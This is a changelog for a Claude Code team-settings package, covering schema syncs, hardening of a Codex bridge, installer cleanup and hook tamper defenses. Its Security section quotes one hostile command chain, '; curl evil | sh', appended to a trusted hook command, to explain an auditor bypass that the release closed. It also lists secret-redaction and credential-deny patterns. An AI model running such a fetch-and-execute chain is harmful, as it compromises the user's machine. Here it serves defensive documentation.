Sync with Claude Code v2.1.190 (from v2.1.186). Only v2.1.187 carried substantive changelog entries; v2.1.188/189 had none and v2.1.190 was reliability fixes. Two security-adjacent features adopted, no deduplications this cycle.

Adopted:

  • sandbox.credentials setting (Claude Code v2.1.187) — extended the Sandbox schema in src/schemas/settings.ts with a credentials block: files: [{ path, mode: "deny" }] denies sandboxed reads of credential files (same enforcement as filesystem.denyRead), and envVars: [{ name, mode: "deny" }] unsets secret env vars before each sandboxed command. "deny" is the only supported mode today. Documented in docs/settings-reference.md. Why it matters: complements our existing process-wide CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1 with a sandbox-scoped, declarative credential deny list (e.g. ~/.aws/credentials, GITHUB_TOKEN).
  • CLAUDE_CODE_MCP_TOOL_IDLE_TIMEOUT env var (Claude Code v2.1.187) — added to upstream/claude-code-manifest.json knownEnvVars and the env table in docs/settings-reference.md. Why it matters: remote MCP tool calls that go idle now abort with an error instead of hanging ~5 minutes; this env var tunes the threshold.

Deletions / Native-now-redundant:

  • None this cycle.

Files changed:

  • src/schemas/settings.ts
  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • src/setup.ts
  • CHANGELOG.md

[11.29.1] — 2026-06-23

Harden the Codex bridge (src/lib/codex.ts, src/scripts/codex-run.ts) after a cross-model review pass — Codex reviewed the bridge, Opus triaged the findings, and Codex independently re-reviewed the resulting diff (clean). Six hardening fixes, no behavior change to the happy path. Existing 47-test suite grew to 57.

Fixed:

  • Graceful exec spawn-failure — runCodexExec wraps Bun.spawn in try/catch. Bun.spawn throws synchronously on ENOENT (codex vanished from PATH inside the 60s AVAILABLE_TTL_MS window that skips the L0 check), on an invalid cwd, and on permission errors. Previously these crashed the /codex script with an unhandled exception; now they fail open with a classified verdict (ENOENT ⇒ not-installed, else unknown).
  • Verdict-cache race guard — new commitReconciled re-reads immediately before writing and refuses to let a cheap/inconclusive non-sticky available/unknown verdict clobber a newer fresh sticky L2 negative (rate-limited/no-access) a concurrent exec may have written. Routed refreshCodexVerdict and the unknown-failure write through it. Closes the cross-process read-check-write TOCTOU (there is no file lock).
  • Broadened terminal-control sanitization — sanitizeOutput stripped only SGR color codes (ESC[…m); now strips all CSI, OSC (hyperlinks ESC]8, title ESC]0, BEL/ST-terminated), and residual C0 control bytes (preserving tab/newline/CR). Defense-in-depth for cached details, the statusline, and echoed output.
  • Inconclusive-L1 fallback — checkCodexAvailability no longer maps every non-zero codex login status to unauthenticated (which blocked L2 forever on CLI drift / keychain errors). A positive "not logged in" signal still blocks; an unrecognized CLI error becomes the new unknown live state so the real exec can probe; empty output (incl. timeout) stays conservative.
  • Real hard cap — the exec Bun.spawn now sets killSignal: "SIGKILL" so a child ignoring SIGTERM (Bun's default) can't outrun the timeout ceiling; timeout detection now keys off proc.signalCode with the elapsed-time heuristic as a fallback.
  • Safer flag parsing — parseForce only consumes a leading --force (and an optional --), so a literal --force inside a prompt is preserved verbatim.

Files changed:

  • src/lib/codex.ts
  • src/scripts/codex-run.ts
  • tests/codex.test.ts
  • src/setup.ts
  • .claude-plugin/plugin.json
  • CHANGELOG.md

[11.29.0] — 2026-06-23

Sync with Claude Code 2.1.186 — a bug-fix-heavy release with three additions that touch the cc-settings contract. Adopted all three; the ~20 upstream bug fixes and UI-only changes have no cc-settings surface.

Adopted:

  • respondToBashCommands setting (2.1.186) — src/schemas/settings.ts, upstream/claude-code-manifest.json (knownSettingsKeys), docs/settings-reference.md. New top-level boolean. !-prefixed bash output now auto-triggers a Claude response by default; set false to restore the silent-insert behavior. The strict settings schema would have rejected the key, so tracking it is required.
  • teammateMode: "iterm2" (2.1.186) — src/schemas/settings.ts (TeammateMode enum), docs/settings-reference.md. Adds the iTerm2 split backend for Agent Teams (warns when the it2 CLI is missing). teammateMode was already a known settings key; only the enum value was missing.
  • CLAUDE_CODE_MAX_RETRIES + CLAUDE_CODE_RETRY_WATCHDOG env vars (2.1.186) — upstream/claude-code-manifest.json (knownEnvVars), docs/settings-reference.md. MAX_RETRIES is now capped at 15; the watchdog keeps retrying past the cap for unattended sessions. Manifest + docs only — no config wiring.

Docs-only:

  • MANUAL.md — noted that native /review <pr> now runs the same engine as /code-review medium (2.1.186).

Skipped: ~20 upstream Fixed … bug fixes (no cc-settings code involved); skill-frontmatter kebab/snake/camelCase aliasing (upstream got more lenient — our kebab-only skills already pass); claude mcp login/logout CLI auth; /workflows status filter, /plugin Skills section, perm-prompt alignment (UI-only); background-subagent perm-prompt surfacing and agent-denial enforcement (behavioral, no schema). awsAuthRefresh was already tracked.

Files changed:

  • src/schemas/settings.ts
  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • MANUAL.md
  • src/setup.ts
  • CHANGELOG.md

[11.28.1] — 2026-06-22

Fix — follow-up to the Bun built-in swap (#68)

An independent Codex cross-model review of the yaml→Bun.YAML and @inquirer/confirm→node:readline migration (#65, shipped in 11.28.0) surfaced two real Medium regressions, both reproduced and confirmed:

  • Bun.YAML silently keeps the last value on duplicate mapping keys, where the yaml package threw "Map keys must be unique". parseFrontmatterStrict now detects duplicate top-level keys itself, so lint:skills / lint:knowledge keep catching them. The scan is column-0 only — nested mappings, list items, and block-scalar continuations are always indented, so they never false-trip.
  • promptYn (readline) hung on Ctrl+C: readline's close() does not unblock a pending question() — only an AbortSignal rejects it. Wired a SIGINT→AbortController so Ctrl+C falls back to the default, restoring the behavior @inquirer/confirm gave for free.

Fix — install-summary skills/docs counts

The post-install summary counted each manifest dir by top-level *.md files. That works for the flat dirs (agents/, rules/, …) but skills/ is the only dir built as subdirectories — each skill is skills/<name>/SKILL.md — so the /\.md$/ match only ever found skills/README.md and printed skills/ (1) for 35 installed skills. docs/ likewise undercounted, ignoring the .md files in its subdirs (plans/, upstream-bugs/, …) that the installer copies recursively.

Fixed (display-only — installation was always correct):

  • Added countSkillDirs (counts subdirs containing a SKILL.md) and countEntriesRecursive; showSummary routes skills/ and docs/ to them. Now reports skills/ (35) and docs/ (22).
  • The three count helpers now take an absolute dir (CLAUDE_DIR is fixed at import, so showSummary joins it at the call site), making them pure and unit-testable.
  • New tests/install-display.test.ts (8 cases) reproduces the exact bug layout and pins the old countEntries-on-skills/ path at 1 so the regression can't silently return.

[11.28.0] — 2026-06-22

Changed

  • Codex bridge hardening: --force escape bypasses a sticky rate-limited/no-access verdict (which Codex emits even on auth mismatch); a fresh available verdict skips the per-call codex login status probe for 60s; timeouts now report partial output + a split/raise hint instead of an opaque exit code; exec appends git status/diff --stat so the changed files are always surfaced; sanitizeOutput strips ANSI and redacts secrets (sk-/Bearer/Authorization/*_API_KEY|TOKEN|SECRET=) on all returned output.
  • Hook tamper-defense: the three divergent "managed ~/.claude/src hook command" classifiers (settings-merge, light-profile, audit-hooks) are unified into src/lib/hook-command.ts; the trusted regex is tightened to (scripts|hooks) only (drops lib/); hook-block traversal goes through a HooksBlock-schema-driven iterCommandHooks. readFingerprint/readSrcManifest now validate through zod, strip control chars from installedAt, and reject manifest keys with ../absolute paths.
  • Installer: buildInstallPlan is the single source of truth for install/prune footprint; main() split into runFullInstall (the migrate-only path inlined into main); the in-installer skill-prune loop removed. managed-skills.ts split into ACTIVE_SKILLS (completed — 7 missing current skills added: codex, freeze, plan-ceo-review, proof-of-work, retro, review-batch, strategist) + TOMBSTONE_SKILLS; lint:skills now asserts ACTIVE_SKILLS matches skills/ on disk.
  • Settings merger is now pure: MCP-server preservation moved out of settings-merge.ts into mcp.ts resolveMcpServers (behavior unchanged). mergeSettings no longer prints — it returns MergeAccounting | null (null on the fresh-install passthrough) and the caller installSettings formats via printMergeAccounting, so the merge orchestrator is output-free and testable.
  • Nuclear-review structural pass (whole-codebase audit): src/setup.ts 1005→707 lines — its display layer extracted to src/lib/install-display.ts and the help/rollback commands to src/lib/install-cmds.ts; the runMigrateOnly stub deleted; the buildInstallPlan/installConfigFiles plan-vs-reality split removed so the plan honestly drives the light path, and the now-redundant removeLightIncompatibleFiles pass collapsed into installConfigFiles (one prune path for light, not two). New canonical src/lib/platform.ts helpers — CLAUDE_DIR/claudePath(), isoNow(), localDatetime() — replace 20+ bespoke join(homedir(), ".claude") derivations and five inlined timestamp idioms across scripts/hooks; post-failure.ts now uses readState/writeState; statusline.ts routes through colors.ts so NO_COLOR is honoured. Boundary hardening: readSrcManifest validates via a new SrcManifestRecordSchema, auditHooks consumes the schema-validated hooks block, and audit-hooks.ts reads settings.json through the canonical readJsonOrNull. Installer dry-run output is byte-identical — the pass is behavior-preserving.

Dependencies

  • @biomejs/biome 2.4.16 → 2.5.0 (+ biome.json $schema bump). The stricter 2.5.0 ruleset surfaced a dead test helper (withTmp in tests/mcp.test.ts) and an unused import, both removed; a handful of pre-existing non-blocking style warnings remain for a later sweep.
  • Runtime dependencies cut from 3 to 1 (only zod remains). yaml → Bun.YAML (frontmatter.ts) and @inquirer/confirm → node:readline/promises (prompts.ts). Removes ~12 installed packages (incl. the @inquirer tree) and ~1.5 MB from every ~/.claude install, and shrinks the surface to keep fresh. engines.bun raised >=1.1.30 → >=1.2.21 (the release that introduced Bun.YAML); setup.sh BUN_MIN and the docs bumped to match. Trade-off: Bun.YAML exposes no reliable block-relative line/col on parse errors, so parseFrontmatterStrict (used by lint:skills/lint:knowledge) now reports the error message without a position — acceptable since frontmatter blocks are a few lines.

Internal

  • claude-audit.ts split into analyzeCommands (model) + renderAudit (render); shared frontmatter-lint core extracted from lint-skills/lint-knowledge; writeState is now atomic (tmp+rename); tool-cadence CounterState rehydration goes through normalizeCounterState.

Upstream sync

  • Synced the upstream manifest to Claude Code 2.1.185 (upstream/claude-code-manifest.json). No adoptions: 2.1.185's only change is a cosmetic stream-stall hint reword ("Waiting for API response · will retry in …", now firing after 20s instead of 10s) internal to the Claude Code TUI — cc-settings has no surface that mirrors it. 2.1.184 carried no changelog entry. No schema, hook, env-var, or config changes.

[11.27.1] — 2026-06-19

Fix — installer merger now deep-merges object config defaults

The setup.sh settings.json merger preserved a user's existing object blocks whole, so a new nested config default added by a sync never reached existing installs. Surfaced installing v11.27.0: attribution.sessionUrl: false showed in bun run compose but not in the merged ~/.claude/settings.json — the user's existing attribution: { commit, pr } shadowed the team's { commit, pr, sessionUrl }. The version sentinel bumped while the setting silently never landed.

Fixed:

  • userWinsScalarStrategy (the default strategy for keys with no dedicated handler — attribution, sandbox, spinnerVerbs, …) now deep-merges plain objects via a new recursive deepMergeUserWins helper: team-only sub-keys (new defaults) land while the user's customized sub-keys win on conflict. Arrays and object↔scalar shape mismatches keep user-wins-whole — an array or retyped field is a deliberate replacement, not a partial override.
  • New MergeAccounting.defaultsAdded counter + install line ("Added N new team default(s) into existing settings block(s)") so a landing default is visible, not silent.

Tests: 6 added to tests/settings-merge.test.ts (team-only sub-key lands; user sub-key wins on conflict; depth > 1 recursion; arrays stay whole; object↔scalar mismatch; end-to-end attribution.sessionUrl regression lock). 539 pass / 0 fail.

Files changed:

  • src/lib/settings-merge.ts
  • tests/settings-merge.test.ts
  • src/setup.ts
  • .claude-plugin/plugin.json
  • CHANGELOG.md

[11.27.0] — 2026-06-19

Sync with Claude Code v2.1.183 — attribution.sessionUrl (stealth)

Caught the schema up to upstream 2.1.181 → 2.1.183 (2.1.182 was never published). One adopt; the rest of 2.1.183 is native UX and bug fixes with no cc-settings surface.

Adopted:

  • attribution.sessionUrl (2.1.183) — new boolean sub-field on the attribution object that controls the claude.ai session link appended to commits and PRs. Empty commit/pr strings do not suppress this link, so it needs its own toggle. Modeled in src/schemas/settings.ts (sessionUrl: z.boolean().optional()), set to false in config/10-core.json, and documented in docs/settings-reference.md. Polarity confirmed against the live 2.1.183 binary (if (attribution?.sessionUrl === false) return null). This directly serves Darkroom's no-AI-attribution / stealth policy — all three attribution fields now off.

Deletions / native-now-redundant:

  • None. The 2.1.183 auto-mode block of destructive git commands (git reset --hard, git checkout -- ., git clean -fd, git stash drop) overlaps src/hooks/safety-net.ts, but our PreToolUse hook fires in all permission modes (not just auto mode), so it stays — defense in depth, not redundant.

Skipped (noted for the record):

  • The subagent thinking.disabled 400 fix and the "WebSearch empty in subagents" fix both benefit cc-settings' delegation-heavy workflow, but require no config change.
  • Remaining 2.1.183 entries (model-deprecation warning, /config --help, /config toggle behavior, startup-line removal, ~9 other bug fixes) are native UX/fixes with no cc-settings surface.

Files changed:

  • src/schemas/settings.ts, schemas/settings.schema.json
  • config/10-core.json
  • docs/settings-reference.md
  • upstream/claude-code-manifest.json
  • src/setup.ts
  • CHANGELOG.md

[11.26.0] — 2026-06-18

Sync with Claude Code v2.1.181 — sandbox Apple Events + presence-file env var

Caught the schema up to upstream 2.1.178 → 2.1.181 (2.1.180 was never published; 2.1.179 was bug-fixes only). Light drift: one nested sandbox field and one env var, both macOS-flavored.

Adopted:

  • sandbox.allowAppleEvents (v2.1.181) — opt-in boolean that lets sandboxed Bash commands send Apple Events on macOS. Added explicitly to the Sandbox looseObject in src/schemas/settings.ts; the schema already accepted it, but the explicit field documents intent and keeps the upstream scanner aligned.
  • CLAUDE_CLIENT_PRESENCE_FILE (v2.1.181) — env var pointing at a presence file Claude Code touches while active, suppressing duplicate mobile push notifications when the desktop client is present. Added to knownEnvVars in the manifest and the env table in docs/settings-reference.md.

Native-now-noted (no cc-settings change):

  • /config key=value (v2.1.181) — set any setting inline from the prompt. Native UI; the update-config skill already points users at /config, no repo surface to edit.
  • Bundled Bun runtime upgraded to 1.4 (v2.1.181) — affects Claude Code's vendored runtime, not cc-settings' engines.bun >=1.1.30 dev requirement. No change.

Skipped: all 2.1.179/2.1.181 bug fixes and UI/runtime tweaks (streaming line-by-line display, thinking-phase auto-retry, subagent panel auto-hide, MCP OAuth browser styling, fullscreen modifier+click, prompt-caching/network-drive/Apple-Events/startup/worktree/subagent fixes, WSL2 scroll, Linux sandbox glob perf, plugin-load perf) — no config surface.

Files changed: src/schemas/settings.ts upstream/claude-code-manifest.json docs/settings-reference.md src/setup.ts CHANGELOG.md

[11.25.0] — 2026-06-16

Sync with Claude Code v2.1.178 — three new settings keys

Caught the schema up to upstream 2.1.171 → 2.1.178. The drift was light: three new settings keys, plus behavior/permission notes; the rest of the range is bug fixes and UX for paths cc-settings doesn't configure.

Adopted:

  • enforceAvailableModels (v2.1.175) — managed boolean; when set, the availableModels allowlist also constrains the Default model and user/project settings can't widen a managed list. Added to src/schemas/settings.ts (ENTERPRISE block) so strict parse accepts it. Matters because cc-settings already manages availableModels; this is the enforcement half.
  • footerLinksRegexes (v2.1.176) — array; regex-matched link badges in the footer row, user or managed. Added to src/schemas/settings.ts (general block) as z.array(z.unknown()) since upstream hasn't pinned the entry shape.
  • wheelScrollAccelerationEnabled (v2.1.174) — boolean; toggles mouse-wheel scroll acceleration in fullscreen mode. Added to src/schemas/settings.ts (general block).

Docs:

  • docs/settings-reference.md — three table rows for the keys above; new Permission Pattern Syntax note + Agent(model:opus) example for the Tool(param:value) parameter-matching syntax (v2.1.178). cc-settings ships no param-matched rules yet, but the string-based permission schema already accepts them.
  • MANUAL.md — new "Nested .claude/ directories (monorepos)" subsection covering nested .claude/skills loading + directory-qualified names on clash, closest-to-cwd precedence for agents/workflows/output-styles (v2.1.178), and 5-level sub-agent nesting (v2.1.172).

Deletions / native-now-redundant: none — nothing in this range subsumes a cc-settings workaround.

Manifest: upstream/claude-code-manifest.json bumped to claudeCodeVersion 2.1.178, lastScan 2026-06-16, three keys added to knownSettingsKeys (unique also canonicalized one pre-existing mis-sort: claudeMd now precedes cleanupPeriodDays).

Skipped: Fable [1m] auto-strip (v2.1.173 — docs already state Fable is 1M-native); auto-mode subagent classifier, /doctor//bug/Remote Control/vim/statusline UX; all background-session, Bedrock, OAuth, compaction, VSCode, and Windows fixes. v2.1.171 was internal-only; v2.1.177 had no entry.

Files changed:

  • src/schemas/settings.ts
  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • MANUAL.md
  • src/setup.ts
  • CHANGELOG.md

[11.24.0] — 2026-06-15

Fable 5 / Mythos 5 suspended — decision tier falls back to opus[1m]

On 2026-06-12 a US government export-control directive suspended all access to Fable 5 and Mythos 5 for every customer (announcement); all other Claude models are unaffected, no restoration date given. cc-settings had routed the main session and judgment agents to Fable since the 2026-06-10 rollout, so those sessions/agents could no longer start. This reroutes the decision tier to Opus 4.8 with a 1M pin until Fable returns.

  • Session default (config/10-core.json): "model" fable → opus[1m]. The [1m] pin is required — Fable was 1M-native, Opus is not, so plain opus would silently drop to the smaller window.
  • Judgment agents (agents/maestro.md, agents/planner.md, agents/reviewer.md): model fable → opus[1m], preserving the 1M context they had under Fable.
  • Unchanged: CLAUDE_CODE_SUBAGENT_MODEL (sonnet), CLAUDE_CODE_EFFORT_LEVEL (high), and the read/execute agents (implementer/security-reviewer on opus; explore/tester/scaffolder/deslopper on sonnet) — none touched Fable.
  • fable kept as a valid alias in src/schemas/agent.ts, schemas/*.schema.json, and the reference tables: the suspension is expected to be temporary, so the syntax stays parseable and the docs flag it SUSPENDED rather than removing it. When access is restored, revert the opus[1m] entries to fable and drop the pins.
  • Docs: docs/agent-models.md (suspension banner + reworked routing table/principle), CLAUDE-FULL.md (context-window paragraph), MANUAL.md (model section + statusline example), docs/settings-reference.md (model table). No upstream/claude-code-manifest.json bump — this is a model-availability event, not a Claude Code upstream sync.

Files changed:

  • config/10-core.json
  • agents/maestro.md
  • agents/planner.md
  • agents/reviewer.md
  • docs/agent-models.md
  • CLAUDE-FULL.md
  • MANUAL.md
  • docs/settings-reference.md
  • src/setup.ts

Plugin marketplace support — Cowork-installable (#54)

  • .claude-plugin/marketplace.json (new): self-referential marketplace (cc-settings) with one plugin entry (darkroom, source: "./"). Install via /plugin marketplace add darkroomengineering/cc-settings then /plugin install darkroom@cc-settings.
  • .claude-plugin/plugin.json: inline mcpServers for the portable connectors (context7, figma, chrome-devtools); tldr deliberately excluded (requires a locally installed tldr-mcp binary). Version bumped 8.1.0 → 11.23.1 — it had been stale since the v10 unification and now tracks the installer VERSION constant. Dropped inert requires/features fields (claude plugin validate flags them as unknown/ignored); added displayName.
  • tests/plugin-manifest.test.ts (new): pins plugin.json version to src/setup.ts VERSION, asserts plugin mcpServers is a field-exact subset of config/20-mcp.json, allows only documented manifest fields, and matches the marketplace entry to plugin.json.
  • MANUAL.md: new "Plugin install (Cowork and Claude Code)" subsection documenting what the plugin carries (skills/agents/connectors) vs what stays setup.sh territory (hooks, rules, profiles, CLAUDE.md/AGENTS.md, permissions, tldr).

Delegation guidance — high-agency heuristic (issue #44)

  • CLAUDE-FULL.md: replaced the "repeated nag" MUST/SHOULD list with a per-decision heuristic table (3+ files / 10+ calls / security-sensitive → delegate, route by shape; NO → act directly). Four closing rules replace the old enforcement list; the briefing-contract blockquote is preserved verbatim.
  • src/hooks/tool-cadence.ts (parallelmax branch): one nudge per streak (fires at 12+ calls OR 3+ distinct files edited, whichever comes first), followed by one escalation (soft block via continueOnBlock) if the streak continues past the reminder. Net: at most 2 signals per streak, down from one every 12 calls indefinitely. State tracks files, nudged, countAtNudge, filesAtNudge, escalated; old-shape state files handled with defensive defaults.
  • config/40-hooks.json: continueOnBlock: true on the tool-cadence PostToolUse hook so the escalation block surfaces as a hard-to-ignore signal without aborting the turn.
  • src/hooks/delegation-detector.ts: message compressed — single-line format with score, matched signals, and routing guide; overriding requires a stated reason.

Cost tuning — "explore/execute cheap, decide on Fable"

Fable stays the session default and the tier for judgment agents, but the high-volume read/execute agents move off it, since they were the bulk of the burn (each subagent re-reads the repo, and on a Fable session the inheriting agents all ran Fable).

  • Per-agent routing (agents/*.md, docs/agent-models.md): explore and deslopper inherit→sonnet (they rode Fable on every Fable session); implementer fable→opus (biggest single consumer; Opus lands clean code at ~half the cost and was the pre-Fable workhorse); security-reviewer fable→opus (Fable's safety classifier routes security content to Opus anyway — pin it rather than pay Fable and get downgraded). maestro/planner/reviewer/oracle stay Fable.
  • Teammate fan-out (CLAUDE_CODE_SUBAGENT_MODEL in config/10-core.json): fable→sonnet, the planned steady state, applied early (was scheduled for 2026-06-21).
  • Effort pin (CLAUDE_CODE_EFFORT_LEVEL): xhigh→high — Anthropic's 4.8 default, a deliberate cost choice. The xhigh ladder allocates materially more thinking tokens per turn on 4.8/Fable and that compounds across inheriting agents. Escape hatches: /effort xhigh per session, ultrathink per turn. CLAUDE-FULL.md Effort section updated.
  • Delegation nudge (src/hooks/tool-cadence.ts): consecutive-non-Agent threshold 8→12, now env-overridable via CC_PARALLELMAX_THRESHOLD — routine multi-step edits no longer trip the "should have delegated" reminder (delegating spawns a fresh agent that re-reads context, so the nudge was pushing toward more tokens, not fewer).
  • Rule scope (rules/react-perf.md): dropped the **/*.ts glob so the React-only perf rule stops injecting into every TypeScript session (it was loading in non-React repos like this one); kept **/*.tsx/components//app/.

Whole-codebase /nuclear-review audit pass (June 2026): ~1,100 lines of dead or duplicated code removed, installer bash-era ceremony deleted, zod v4 idioms adopted. Behavior-preserving except where noted.

Security

  • Supply-chain defense is now content-based, not path-based. The auditor previously trusted any bun "$HOME/.claude/src/.../*.ts" command by path shape alone — malware could drop a new file under ~/.claude/src/ (classified trusted, downgrading the fingerprint alarm) or append a payload to an already-registered shipped script (no alarm at all, since the fingerprint covers only settings.hooks). The installer now writes a SHA256 manifest of every installed src/**/*.ts (~/.claude/.cc-settings-src-manifest); verify-hooks re-checks it at SessionStart and audit:hooks only classifies a shipped-path command trusted when its content hash matches the manifest (no manifest → unknown; mismatch or unmanifested file → suspicious). Like the fingerprint, the manifest is refreshed only by setup.sh — never by the auditor — so malware can't whitelist itself. SECURITY.md documents the new layer and the remaining non-goals (bun binary, node_modules, coordinated sentinel tampering). Upgrading users will see trusted drop to unknown until they re-run setup.sh.
  • Blocking PreToolUse hooks now carry timeout: 5 (safety-net, pre-edit-validate, freeze-guard) — a wedged Bun startup previously stalled every Bash/Edit for the 60s platform default.
  • Auditor hardened against command-string concatenation (re-audit finding on the manifest fix itself): TRUSTED_BUN_CC previously allowed arbitrary trailing text, so bun ".../safety-net.ts" ; curl evil | sh matched as one trusted command and the malware-signature check was skipped on the trusted path. The trailing-arg group now accepts only simple word tokens (shell metacharacters reject the match), and malware signatures are checked first, unconditionally — a hit always classifies suspicious, even for a manifest-verified command. Regression tests cover the ;/&&/pipe/$(...)/backtick vectors with a verified manifest present.

Removed

  • Dead code surfaced by the audit — the barrel files src/index.ts/src/lib/index.ts/src/schemas/index.ts (zero importers; consumers import concrete files), src/lib/stack.ts + tests/stack.test.ts (no production consumers — the skills its header named were retired or never wired; stale claims fixed in MANUAL.md and the May consolidation audit), bench/prototype/ (its compile-to-binary question was settled — hooks ship as bun source invocations), and contexts/ (thin pointers to profiles/ documenting a /context ecosystem switcher that never existed; the installer prunes the legacy installed dir on upgrade).
  • src/lib/version-drift.ts — folded into version-delta.ts; the near-synonym module names were a trap.
  • src/schemas/hooks-config.ts + schemas/hooks-config.schema.json — the legacy hooks-config.json file tier in src/lib/hook-config.ts (kept alive solely to back-fill three claude_md_monitor env defaults, for files the installer deletes on every run) is gone; getClaudeMdMonitor is now env vars + defaults, and the schema lost its last consumer.

Changed (hooks hot path)

  • parallelmax-nudge.ts + review-queue-nudge.ts → one tool-cadence.ts. Both ran unmatched on every PostToolUse (two Bun spawns per tool call) and already shared state through the filesystem. One spawn now runs both branches verbatim; nudge texts, state files, and debounce are unchanged.
  • One block protocol. New blockDecision() / readToolInputEnv() in hook-runtime.ts; safety-net, freeze-guard, and pre-edit-validate all block with the documented {"decision":"block"} JSON (pre-edit-validate previously emitted plain text). pre-edit-validate also gained a top-level catch (fail-open on unexpected throw). safety-net's AI-attribution check collapsed to one regex/one branch — the old commit/PR regex pair matched identical strings.
  • statusline hardening + spawn diet — the whole render is wrapped (any error prints a degraded line and exits 0 instead of blanking; Bun.spawn throws synchronously when git is absent); the redundant rev-parse probe is gone and ahead/behind is one rev-list --left-right --count, with independent lookups under Promise.all.
  • Fail-open is now behaviorally tested — tests/hook-fail-open.test.ts spawns every wired hook (plus the statusline command from 10-core.json, which the old grep-based check never saw) with garbage stdin/env and asserts exit 0, instead of grepping sources for try {.

Changed

  • Installer (src/setup.ts + libs) de-bashed. The staged-file dance is gone: mergeSettingsWithMcpPreservation and installMcpToClaudeJson now take the in-memory composed settings instead of re-reading .team-settings.staged.json from disk (three disk round-trips and a duplicate MCP validation deleted). New src/lib/merge-keyed.ts (unionByKey/subtractByKey) replaces four hand-rolled JSON-keyed set-arithmetic loops; removeManagedMcpServers moved to src/lib/mcp.ts where the MCP domain logic lives. PROFILE_MANIFEST in light-profile.ts is now the single source of truth for the per-profile file footprint — install, light-cleanup, dry-run, and summary all derive from it instead of four hand-maintained lists. One fingerprintSettingsHooks helper replaces the copy-pasted light/full fingerprint blocks (the light copy had drifted to swallowing schema issues silently).
  • zod v4 idioms — all 16 deprecated .passthrough() sites became z.looseObject(), the one .strict() became z.strictObject(); emitted JSON Schemas are byte-identical. Stale strictness-policy comments in claude-json.ts/skill.ts rewritten (the real typo guard is the key-name test, not strictness). The permission-mode enum now has one home (permissions.ts; agent.ts re-exports).
  • Scripts cluster — new src/lib/artifact-store.ts (timestamp IDs, latest symlink dance, list/resolve) shared by checkpoint and handoff, which had reimplemented it twice (on-disk formats and CLI surfaces unchanged); new src/lib/tsc.ts runTsc() shared by post-edit-tsc/pre-commit-tsc; frontmatter-validate.ts's three identical walkers became one generic walker + spec table; claude-audit got a real entry point (bun run claude-audit) after its /audit skill was retired; new-note uses the canonical runGit.
  • Test files renamed for their subject, not the migration that created them — phase2-scripts.test.ts → scripts-smoke.test.ts; phase3-libs.test.ts dissolved into mcp.test.ts (ending split MCP coverage) and lib-helpers.test.ts. buildPermissionsBlock moved from the gen-permissions-doc script into src/lib/permissions-doc.ts (the one script that moonlighted as a lib).
  • Rules dedup — rules/react-perf.md no longer repeats three blocks verbatim from performance.md (both load together on every React file); it now cross-links and keeps only additive content. profiles/webgl.md's instancing example rewritten without useMemo per its own React Compiler guidance.

Fixed

  • Stale-hook false positives in audit:hooks — upgraders who carried renamed/removed hook scripts (parallelmax-nudge.ts, review-queue-nudge.ts, track-tldr.ts, tldr-stats.ts) saw them classified suspicious and bun run audit:hooks exited 1. Two-part fix: (1) the settings merger now prunes all four as deprecated patterns (same mechanism as parallelmax-judge.ts); (2) the auditor gains a stale severity (exit 0) for shipped-pattern commands whose script file no longer exists on disk — distinct from suspicious (dropped payload, file exists but is unmanifested). The formatAuditReport summary now reads N stale and includes a dedicated ⚠ STALE section with a remediation line. hasSuspicious is unaffected by stale findings.
  • Backup failure now aborts the install (was: tar exit code ignored, install proceeded into cleanOldConfig's rm -rf with no restore point — the advertised --rollback safety net silently didn't exist on backup failure).
  • A typo in config/*.json now fails the install loudly — composeSettings schema-validates the composed fragments and throws; previously team-config validation was debug-log-only. User-settings forward-compat tolerance is unchanged.
  • readJsonOrNull no longer mislabels EACCES/EISDIR as "not valid JSON" — only real parse failures wrap as JsonParseError.
  • src/lib/status.ts parses settings.json once with the Settings schema instead of four bare casts; checkpoint restore validates the (user-editable) checkpoint file instead of crashing on malformed input.
  • ~/.claude/session-titles/ is now pruned by session-start (>30 days); it previously grew unboundedly.
  • stop-summary wording now says what it measures (working-tree modified files, not "session touched").
  • MANUAL.md no longer references the nonexistent web-vitals rule; @inquirer/confirm bumped 6.1.0 → 6.1.1.

[11.23.1] — 2026-06-10

Manifest-only sync with Claude Code v2.1.170. No schema, config, hook, or doc changes.

Adopted: nothing — v2.1.170's headline (Claude Fable 5 GA) was already adopted in cc-settings 11.23.0 (default model, agent schema alias, docs).

Skipped:

  • Fable 5 announcement bullets — already adopted (see 11.23.0).
  • Fix for sessions launched from the VS Code integrated terminal not saving transcripts / appearing in --resume — upstream bug fix, no cc-settings surface.

Files changed:

  • upstream/claude-code-manifest.json (claudeCodeVersion 2.1.169 → 2.1.170, lastScan 2026-06-10)
  • src/setup.ts (VERSION 11.23.0 → 11.23.1)
  • CHANGELOG.md

[11.23.0] — 2026-06-09

Adopts Claude Fable 5 (claude-fable-5) — Anthropic's new top tier above Opus, tuned for agentic/software-engineering work — as the cc-settings default model.

Added

  • fable recognized as a first-class model alias in the agent/profile schema (src/schemas/agent.ts, regenerated schemas/agent.schema.json) and documented in the settings, profiles, and frontmatter alias tables. Fable 5 is 1M-context natively, so no [1m] pin is needed (unlike opus[1m]/sonnet[1m]).

Changed

  • Default session model opus[1m] → fable (config/10-core.json).
  • Deep-reasoning agents → fable: maestro, planner, reviewer, security-reviewer, implementer (were opus). Mechanical agents (tester, scaffolder) stay sonnet; explore/deslopper stay inherit (now riding a Fable session).
  • Temporary rollout boost: CLAUDE_CODE_SUBAGENT_MODEL sonnet → fable through 2026-06-21. On 2026-06-21, revert this single value back to sonnet (the "session + heavy agents" steady state) — session + heavy agents stay on Fable, teammate fan-out drops back to Sonnet. This is the only delta between the boost and the steady state.

⚠️ Cost: Fable 5 is ~2× Opus token cost ($10/$50 per Mtok). The default + agent-routing changes raise team-wide spend accordingly. 🌐 Providers: Fable 5 is first-party API / claude.ai Max. On AWS / Bedrock / Vertex / Foundry, fall back to opus (pin claude-opus-4-8) until Fable is offered there.

[11.22.0] — 2026-06-09

Adds a --light install profile: a permanent, beginner-friendly tier for teammates who don't want the full cc-settings surface. Light is raw Claude Code with exactly two cc-settings additions — the statusLine and the share-learning skill — and nothing else.

Added

  • --light install flag (bash setup.sh --light). Installs raw Claude Code plus only the statusLine and the share-learning skill. Drops everything else cc-settings normally ships: no CLAUDE.md, no AGENTS.md, no agents, rules, profiles, contexts, or docs; no MCP servers (including context7); no hooks beyond the statusLine command; no effort override (Claude Code default); no permission rules (Claude Code defaults). The two tiers are both permanently supported — re-run setup.sh without --light to upgrade to full, or with --light to downgrade.
